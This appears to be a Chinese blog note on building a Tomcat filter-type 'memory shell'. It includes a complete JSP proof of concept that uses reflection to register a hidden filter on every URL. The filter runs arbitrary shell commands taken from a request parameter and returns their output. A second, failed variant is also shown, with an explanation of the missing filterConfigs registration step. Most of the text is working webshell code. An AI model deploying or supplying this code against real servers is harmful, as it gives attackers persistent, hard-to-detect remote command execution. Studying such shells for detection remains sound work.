文章记录java内存马实现遇到的一些问题
0x01 filter内存马
一开始想的是,通过gpt直接写一个代码就可以进行测试,实际测试下来效果并不好,不如直接自己手搓。一方面是gpt对很多细节的内容并不清楚,一开始给的需求是通过servlet api动态注册filter,实际测试下来filter中无法实现,动态注册必须在 Servlet 容器启动期间完成(通过ServletContainerInitializer
或ServletContextListener
)。另一方面是gpt对代码实现的侧重点不同。
poc
<%@ page import="java.util.*, javax.servlet.*, javax.servlet.http.*, java.io.*, java.lang.reflect.*, org.apache.tomcat.util.descriptor.web.FilterDef, org.apache.tomcat.util.descriptor.web.FilterMap, org.apache.catalina.core.ApplicationContext, org.apache.catalina.core.ApplicationFilterConfig, org.apache.catalina.core.StandardContext, org.apache.catalina.Context" %> <%@ page pageEncoding="UTF-8" contentType="text/html;charset=UTF-8" %> <!DOCTYPE html> <html> <head> <title>动态Filter命令执行</title> <style> .success { color: green; } .error { color: red; } pre { background-color: #f5f5f5; padding: 10px; border: 1px solid #ddd; } </style> </head> <body> <h2>动态Filter命令执行</h2> <% final String filterName = "CommandExecutorFilter"; try { // 获取Servlet上下文 ServletContext context = request.getServletContext(); // 使用反射获取StandardContext (Tomcat特定) Field contextField = context.getClass().getDeclaredField("context"); //contextField.setAccessible(true); //StandardContext standardContext = (StandardContext) contextField.get(context); contextField.setAccessible(true); Object applicationContext = contextField.get(context); // 从ApplicationContext中获取StandardContext Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); // 加载必要的类 //ClassLoader cl = Thread.currentThread().getContextClassLoader(); //Class<?> filterDefClass = cl.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef"); //Class<?> filterMapClass = cl.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap"); // 定义命令执行Filter (内部类) class CommandExecutorFilter implements Filter { @Override public void init(FilterConfig config) throws ServletException { } @Override // public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) // throws IOException, ServletException { // HttpServletRequest httpReq = (HttpServletRequest) req; // String command = httpReq.getParameter("cmd"); // if (command != null) { // res.setContentType("text/plain;charset=UTF-8"); // PrintWriter out = res.getWriter(); // Process process = null; // BufferedReader reader = null; // // try { // // 根据操作系统选择命令解释器 // String os = System.getProperty("os.name").toLowerCase(); // String[] cmd = os.contains("win") // ? new String[]{"cmd", "/c", command} // : new String[]{"/bin/sh", "-c", command}; // // ProcessBuilder pb = new ProcessBuilder(cmd); // pb.redirectErrorStream(true); // 合并错误流到输出流 // process = pb.start(); // // // 读取命令输出 // reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8")); // StringBuilder output = new StringBuilder(); // String line; // while ((line = reader.readLine()) != null) { // output.append(line).append("\n"); // } // // int exitCode = process.waitFor(); // out.println("命令执行结果 (退出码: " + exitCode + "):\n" + output.toString()); // out.flush(); // } catch (Exception e) { // out.println("执行命令时出错: " + e.getMessage()); // } finally { // if (reader != null) try { reader.close(); } catch (IOException e) {} // if (process != null) process.destroy(); // } // return; // } // chain.doFilter(req, res); // } public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest httpReq = (HttpServletRequest) req; String command = httpReq.getParameter("cmd"); if (command != null) { res.setContentType("text/plain;charset=UTF-8"); PrintWriter out = res.getWriter(); Process process = null; BufferedReader reader = null; try { // 根据操作系统选择命令解释器 String os = System.getProperty("os.name").toLowerCase(); String[] cmd = os.contains("win") ? new String[]{"cmd", "/c", command} : new String[]{"/bin/sh", "-c", command}; ProcessBuilder pb = new ProcessBuilder(cmd); pb.redirectErrorStream(true); // 合并错误流到输出流 process = pb.start(); // 读取命令输出 reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8")); StringBuilder output = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } int exitCode = process.waitFor(); out.println("命令执行结果 (退出码: " + exitCode + "):\n" + output.toString()); out.flush(); } catch (Exception e) { out.println("执行命令时出错: " + e.getMessage()); } finally { if (reader != null) try { reader.close(); } catch (IOException e) {} if (process != null) process.destroy(); } return; } chain.doFilter(req, res); } @Override public void destroy() { } } // 设置Filter实例 FilterDef filterDef = new FilterDef(); filterDef.setFilterName("CommandExecutorFilter"); filterDef.setFilter(new CommandExecutorFilter()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap(); filterMap.setFilterName("CommandExecutorFilter"); filterMap.addURLPattern("/*"); standardContext.addFilterMapBefore(filterMap); Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext, filterDef); filterConfigs.put(filterName, filterConfig); out.println("<p class='success'>命令执行Filter已成功注册!</p>"); out.println("<p>请重新访问此页面执行命令</p>"); } catch (Exception e) { out.println("<p class='error'>执行过程中出错: " + e.getMessage() + "</p>"); e.printStackTrace(); } %> <h3>操作步骤</h3> <ol> <li>注册成功后,使用以下URL执行命令:</li> <ul> <li><code>/dynamicfilter.jsp?command=ls</code> (Linux/Mac)</li> <li><code>/dynamicfilter.jsp?command=dir</code> (Windows)</li> </ul> </ol> </body> </html>
问题1 tomcat版本问题:
在较新的Tomcat版本(8.x及以上)中,FilterDef 和 FilterMap 类已经从 org.apache.catalina.deploy 包移动到了 org.apache.tomcat.util.descriptor.web 包
问题2 Servlet API 提供的动态注册机制不适用,访问jsp文件时容器已经生成。无法将筛选器添加到上下文,因为该上下文已初始化
failpoc
<%@ page import="java.util.*, javax.servlet.*, javax.servlet.http.*, java.lang.reflect.*, java.io.*" %> // 新增java.io.* <!DOCTYPE html> <html> <head> <title>命令执行Filter</title> <style> .success { color: green; } .error { color: red; } pre { background-color: #f5f5f5; padding: 10px; border: 1px solid #ddd; overflow-x: auto; } </style> </head> <body> <h2>命令执行Filter</h2> <% // 设置响应编码 response.setContentType("text/html;charset=UTF-8"); request.setCharacterEncoding("UTF-8"); try { // 获取Servlet上下文 ServletContext context = request.getServletContext(); // 获取StandardContext实例(适用于Tomcat容器) Field contextField = context.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object standardContext = contextField.get(context); // 加载必要的类 ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class<?> filterDefClass = cl.loadClass("org.apache.catalina.deploy.FilterDef"); Class<?> filterMapClass = cl.loadClass("org.apache.catalina.deploy.FilterMap"); // 创建Filter定义 Object filterDef = filterDefClass.getDeclaredConstructor().newInstance(); filterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, "CommandExecutorFilter"); filterDefClass.getMethod("setFilterClass", String.class).invoke(filterDef, "CommandExecutorFilter"); // 定义命令执行Filter class CommandExecutorFilter implements Filter { @Override public void init(FilterConfig config) throws ServletException {} @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { // 现在可以正确识别异常类型 HttpServletRequest httpReq = (HttpServletRequest) req; // 检查GET请求中的command参数 if ("GET".equalsIgnoreCase(httpReq.getMethod())) { String command = httpReq.getParameter("command"); if (command != null && !command.trim().isEmpty()) { try { // 设置响应格式 res.setContentType("text/plain;charset=UTF-8"); PrintWriter out = res.getWriter(); // 执行系统命令 Process process; String os = System.getProperty("os.name").toLowerCase(); String[] cmd; if (os.contains("win")) { cmd = new String[] {"cmd", "/c", command}; } else { cmd = new String[] {"/bin/sh", "-c", command}; } process = Runtime.getRuntime().exec(cmd); // 获取命令输出 BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream())); StringBuilder output = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } // 获取错误输出 BufferedReader errorReader = new BufferedReader( new InputStreamReader(process.getErrorStream())); StringBuilder error = new StringBuilder(); while ((line = errorReader.readLine()) != null) { error.append(line).append("\n"); } // 等待命令执行完成 int exitCode = process.waitFor(); // 返回结果 out.println("命令: " + command); out.println("退出代码: " + exitCode); if (output.length() > 0) { out.println("\n标准输出:\n" + output.toString()); } if (error.length() > 0) { out.println("\n错误输出:\n" + error.toString()); } return; // 终止请求处理链 } catch (Exception e) { res.getWriter().println("执行命令时出错: " + e.getMessage()); e.printStackTrace(); } } } // 继续请求处理链 chain.doFilter(req, res); } @Override public void destroy() {} } // 设置Filter实例 filterDefClass.getMethod("setFilter", Filter.class).invoke(filterDef, new CommandExecutorFilter()); // 添加Filter定义到上下文 standardContext.getClass().getMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef); // 创建Filter映射 Object filterMap = filterMapClass.getDeclaredConstructor().newInstance(); filterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, "CommandExecutorFilter"); filterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*"); filterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST"); // 添加Filter映射 standardContext.getClass().getMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap); out.println("<p class='success'>命令执行Filter已添加!</p>"); out.println("<p>现在可以通过访问 ?command=your_command 来执行系统命令</p>"); } catch (Exception e) { out.println("<p class='error'>添加Filter失败: " + e.getMessage() + "</p>"); e.printStackTrace(); } %> <h3>使用说明</h3> <p>可以通过在URL中添加command参数来执行系统命令,例如:</p> <pre>http://your-server/your-app/this-page.jsp?command=dir</pre> <pre>http://your-server/your-app/this-page.jsp?command=ls -l</pre> <div class="warning"> <h3 style="color:red">警告!</h3> <p>此功能具有极高的安全风险,可能导致服务器被攻击和数据泄露。</p> <p>请仅在安全的测试环境中使用,不要在生产环境部署。</p> </div> </body> </html>
这个poc失败最主要的原因是filter没有正确的注册,缺少了filterConfigs的设置
- Tomcat的Filter工作机制:
- Tomcat在处理请求时,会查询filterConfigs映射来确定哪些过滤器需要被调用
- filterConfigs映射将过滤器名称与其对应的ApplicationFilterConfig对象关联起来
- ApplicationFilterConfig包含了初始化和调用过滤器所需的所有信息
- 缺少最后一步的后果:
- 虽然FilterDef已添加到上下文(定义了过滤器)
- 虽然FilterMap已添加(映射了URL模式到过滤器名称)
- 但当Tomcat尝试根据名称查找实际的过滤器配置时,在
filterConfigs
中找不到对应条目 - 结果是Filter不会被Tomcat的请求处理管道调用
如何写一个成功filter内存马呢?
- 完整的注册流程:
- FilterDef定义过滤器
- FilterMap配置URL匹配模式
- 将FilterMap添加到StandardContext
- 创建了ApplicationFilterConfig并添加到filterConfigs映射中
- 对象获取:
- 获取ServletContext
- 反射获取了ApplicationContext
- 反射获取了StandardContext
- 获取filterConfigs映射
参考
Java Web内存马深入分析:从注入原理到检测查杀-先知社区
SpringBoot笔记-web篇-一次web请求的大体流程 – luffysk – 博客园
Java servlet执行的完整流程(图解含源码分析)_servlet服务器放应用流程图-CSDN博客
JavaWeb 内存马一周目通关攻略 – Luminous~ – 博客园
Tomcat 内存马学习(一):Filter型 – 天下大木头